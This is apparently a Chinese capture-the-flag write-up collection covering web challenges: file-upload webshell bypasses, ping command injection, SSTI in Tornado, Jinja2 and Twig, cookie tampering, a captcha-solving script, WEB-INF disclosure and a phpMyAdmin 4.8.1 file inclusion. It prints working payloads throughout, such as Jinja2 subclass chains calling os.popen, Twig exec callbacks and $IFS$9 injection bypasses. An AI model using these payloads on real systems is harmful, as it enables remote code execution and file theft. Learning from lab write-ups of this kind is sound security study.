WEB专项-文件上传&命令执行&SSTI模板注入&其他
文件上传
一、Upload1
1.进入靶场,是一个文件上传功能的页面,尝试上传一个一句话木马去getshell。
2.发现提示是not image,那就通过burp抓包进行类型的修改。
3.但却提示我这个是php代码,看来对文件的后缀名进行了过滤,那就将其后缀名改为jpg。
4.又提示我文件中包含<?,那接下来就是去绕过<?的检测。尝试用java语言和php语言的结合。
5.看来对文件的内容头做了校验,没啥办法了。通过上网查找,可以通过一种叫文件幻术头来绕过。将burp中的文件名后缀改为phtml。
6.用菜刀连接,flag在根目录下。
二、Upload
本题做法与第一题一致,一句话木马也与第一题一致。
三、CheckIn1
1.这是一道文件上传的题目,尝试上传一句话木马。
2.发现进行了文件后缀名的检测,将其转换成jpg格式,再进行上传。
3.发现对<?也进行了过滤,尝试将其转换成base64编码进行绕过或者是换成其他的php风格。首先在本机上测试可不可行。
4.可以成功执行之后,再将其上传靶场。
5.提示我上传类型不是图片,那我就将上传一个图片马。
6.但上传的是一个照片,无法解析成php代码执行。尝试上传一个.htaccess文件让其将照片按照php代码执行,发现不行。经过网上查找资料,还有一个叫.user.ini文件有这种功能。
(.user.ini:在php.ini中的配置项中有两个配置项,一个是auto_append_file和auto_prepend_file,auto_prepend_file意思是指定一个文件,自动包含在要执行的文件前,类似与在文件前调用了require()函数。而auto_append_file相似,只是在文件后面进行包含,使用方法很简单,直接写在.user.ini中。)
7.尝试去访问。
8.连接菜刀,获取flag。
四、Give me you photo PLZ
1.文件上传题,传入一句话木马。
2.后台做了过滤,上传jpg后缀的一句话木马。
3.上传成功,查看文件上传的地址。
4.上传.htaccess文件,让jpg后缀的文件按照php去解析。
5.访问1.jpg文件,执行一句话木马。
6.拿到shell之后,蚁剑连接。
7.在根目录下看到flag文件。
8.提示我们去env里拿flag,在虚拟终端中将env写入2.txt文件。
源码如下:
五、BabyUpload
1.尝试上传一句话木马。
2.做了过滤,修改一句话木马,以GIF89a开头。
3.上传成功,此法有效。尝试通过.htaccess文件将jpg格式的文件解析成php代码执行,失败。
4.对文件后缀进行了过滤,尝试修改文件类型上传。
5.上传成功后,再去访问1.jpg文件,成功解析为php代码。
6.菜刀连接,获得flag。
命令执行
一、Ping Ping Ping 1
1.打开靶场,就显示了“/?ip=”,看来是要我们去传参数。
2.随机传了两个参数,发现不管传的是哪个地址回显都一样。
3.看来这个参数没什么用,尝试用拼接符去执行其他的命令,例如ls命令,一试果然可以,还发现了两个文件,命令ip=127.0.0.1;ls。
4.尝试去读取flag.php文件,发现被过滤了,命令ip=127.0.0.1;cat flag.php。
5.再尝试去读index.php,结果一样是被过滤了。可以采用$IFS$9去进行绕过(网上资料),修改命令为ip=127.0.0.1;cat$IFS$9index.php。
6.文件中过滤了[、]、(等符号,就连flag这四个字母也过滤了,看来想采用同样的方法去读取flag.php文件是行不通了。那我们可以采用拼接字符串的方法去进行绕过。命令?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b。
7.奇怪的是页面上无任何显示,右击查看源代码,发现flag被注释了。
SSTI模板注入
一、easy_tornado 1(第一次碰到ssti注入,ssti注入攻击浅析https://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/)
1.打开之后有三个链接,如下。
2.url中参数包含一个文件名与一串md5加密得到的字符串,现在文件名有了,就需要获取加密的字符串,需要有cookie_secret。搜索下tornado render信息,显示是找到模板进行渲染,因此想到了ssti注入。
3.但是这三个页面没有可以传参的地方,只能进行目录扫描看是否还有其他页面可以进行传参,发现了error页面。但是是通过那个参数进行传递的还不清楚,通过对前面正常的参数进行修改,发现了传参是msg。
4.测试下msg参数是否存在ssti注入,payload:{{2*2}},返回了ORZ,看来是对我们的参数进行了过滤。
5.在tornado官方网站和网上查找资料,最终得到handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,官方文档说明如下:
点击self.application.settings后如下:
所以在注入点输入handler.settings进行测试,最终得到cookie_secret。
6.根据hint.txt里的提示,对其进行md5加密。
7.最后得到的即为filehash,构造参数filename=/fllllllllllllag&filehash=1736180e0aa9aca31e94822f97dc4d65,成功获得flag。
二、[GYCTF2020]FlaskApp
1.题目提示Flask,尝试SSTI注入。
2.页面返回了no no no,说明对语句进行了防御,换一个注入语句。
3.返回14,说明SSTI注入成功。在解密页面,随机输入一堆数字。
4.出现了报错信息,查看decode函数后,有render_template_string()函数,此为典型的jinja2模板函数。
5.看到有waf绕过,构造payload查看waf的源代码。
jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。
__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变 量 与 func_globals 等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
payload:{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %} {% endfor %}
解密得到:
waf中过滤了flag,popen等函数。
6.可以采用字符串拼接的方式。查看当前目录,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
7.查看this_is_the_flag.txt。payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
三、Text Reverse
1.页面就是一个将字符串逆序输出的功能,输入{{7*7}},输出如下。
2.做了防护,过滤了{{}},用{%print...%}绕过,输入}%7*7 tnirp%{,显示49。
3.显示子类。输入}%)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
。
4.找到<class 'os._wrap_close'>
类的索引号为132,查看根目录下的文件。}%)(daer.)'/ sl'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
。
5.读取flag。}%)(daer.)'galf/ tac'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
。发现被过滤了。
6.将cat命令改为more命令即可。}%)(daer.)'galf/ erom'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
。
四、Cookie is so stable
1.在flag页面输入参数,进行抓包。
2.题目提示线索在cookie处,所以在cookie中传参。这里考的是SSTI攻击,先判断其类型,输入{{7*'7'}},返回49表示是 Twig 模块;输入{{7*'7'}},返回7777777表示是 Jinja2 模块。
3.其为Twig模块,所以传入其固定的参数。
获取id号:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
查看flag:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
其他
一、[BSidesCF2019]Cookie
1.页面提示我们要以admin的身份进行登录,尝试sql注入。
2.提示我们这是不可用的用户名或密码,页面有找到可用的账户。
3.成功登录,但是如何以admin的身份进行登陆呢?根据题目提示跟cookie有关,查看cookie。
4.尝试将cookie中的username字段的值改为admin,刷新页面,出现flag。
二、Xcaptcha
1.点击复选框,进入验证阶段。
2.提示我们要在1秒内完成3道运算题,burp抓包。
3.拿到3道运算题,计算后把值填入POST包中。
4.提示我们超过1秒限制,猜想在其他字段中有时间相关的变量,试了一圈都没用,最后编写脚本获得flag。
from ast import *
from email import header
from lib2to3.pgen2 import token
from tkinter.tix import MAIN
import requests
import time
from urllib.parse import quote
from lxml import etree
import time
import re
# r = requests.session()
# r.post("",{})
payload = {
'Cookie': 'session=eyJ0b2tlbiI6IjE1NDA6TUVZQ0lRQ0RKZUVuWnFvd09jQUpFb3JhNEhZTjBsTkZxNFhSRnRMMHhWT2xDUm81eFFJaEFNM3BUMDJrTjVZTTZQbnh5aXhndVprSVkrS0tqeWFJcW9DUEtheDJzejdSIn0.Y1SJxw.bMvR5Os22yCswOf0QSybWyH7FNo'} # brup抓包拿到的
base_url = 'http://202.38.93.111:10047/xcaptcha'
# 判断数据库名长度
def POST(db_url):
for i in range(1):
r = requests.get(db_url, headers=payload)
print(r.text)
co = r.headers['Set-Cookie']
array = re.split('[;,]', co)[0]
html = etree.HTML(r.text)
html_data1 = html.xpath('/html/body/div/form/div[1]/label/text()')[0][:-6]
html_data2 = html.xpath('/html/body/div/form/div[2]/label/text()')[0][:-6]
html_data3 = html.xpath('/html/body/div/form/div[3]/label/text()')[0][:-6]
captcha1 = eval(html_data1)
captcha2 = eval(html_data2)
captcha3 = eval(html_data3)
data = {'captcha1': captcha1, 'captcha2': captcha2, 'captcha3': captcha3, }
r = requests.post(db_url, data=data, headers={'Cookie': array})
if 'flag' in r.text:
print(r.text)
break
if __name__ == '__main__':
print(282367989042237177428910410438434128330 + 214390865067092376269801969098123116211)
print(153574664510509469076732023095966961093 + 57299204867147689525720594445451893975)
print(250016408167823785171677951365881543448 + 143576355967307851307811860922979728400)
POST(base_url)
三、Easy Java 1
1.一开始以为是sql注入,尝试了许多方法都不对。
2.只好点击help按钮,看是否有其他线索。
3.报错是没有找到help.docx文件,不太懂。看了大佬的wp之后,才知道存在WEB-INF的漏洞。需要找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。构造payload:/Download?filename=WEB-INF/web.xml。
4.尝试下载FlagController.class文件。构造payload:POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class。
5.将flag进行base64解码即可。
知识点:
WEB-INF是java的WEB应用的安全目录。
1.WEB-INF/web.xml
web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
2.WEB-INF/classes
包含了站点所有用的class文件,包括servlet class和非servlet class
3.WEB-INF/lib
存放web应用需要的JAR文件
4.WEB-INF/src
源码目录,按照包名结构放置各个java文件
5.WEB-INF/database.properties
数据库配置文件
6.WEB-INF/tags
存放了自定义标签文件
7.WEB-INF/jsp
jsp 1.2 一下版本的文件存放位置。
8.WEB-INF/jsp2
存放jsp2.0以下版本的文件。
9.META-INF
相当于一个信息包。
漏洞形成原因:
Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。
Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录(请注意这里,是通过Nginx,而不是Tomcat访问到的,因为上面已经说到,Tomcat是禁止访问这个目录的)
漏洞利用方式:
直接在域名后面加上WEB-INF/web.xml就可以了。
根据web.xml配置文件路径或通常开发时常用框架命名习惯,找到其他配置文件或类文件路径。dump class文件进行反编译。
四、The mystery of ip
1.查看了三个页面的源代码,没有发现线索。
2.根据题目提示,线索很可能跟ip相关。用bp抓包,也没有发现任何有关ip的线索。
3.盲猜跟ip相关的是X-Forwarded-For关键字。加上X-Forwarded-For: 127.0.0.1放包,回显中出现了该地址。看来X-Forwarded-For就是注入的地方。
4.执行X-Forwarded-For: {{system("ls /")}}放包。
5.出现了各级目录,执行X-Forwarded-For: {{system("cat /flag")}}命令,得到flag。
五、我有一个数据库1
1.进入页面是一串乱码,题目提示存在数据库,进行目录扫描。
2.得到/phpmyadmin文件夹,访问该文件夹。
3.可以得到该phpmyadmin的版本号是4.8.1,该版本存在任意文件包含和命令执行漏洞。有漏洞的代码如下。
4.进行了5次if判断,其target传参得满足以下条件。
(1)target传参不为空和0
(2)target传参必须为字符串
(3)target传参不能以index开头
(4)target传参不能是import.php、export.php
(5)target传参符合白名单
5.由于checkPageValidity函数中对传参进行了url解码操作,且get传参也会对传参进行一次url解码,故参数得进行两次url编码。查看当前路径。
6.构造参数访问,payload:?target=server_sql.php%253f../../../../../../flag。
注:phpmyadmin漏洞可参考https://blog.csdn.net/weixin_54555816/article/details/124076313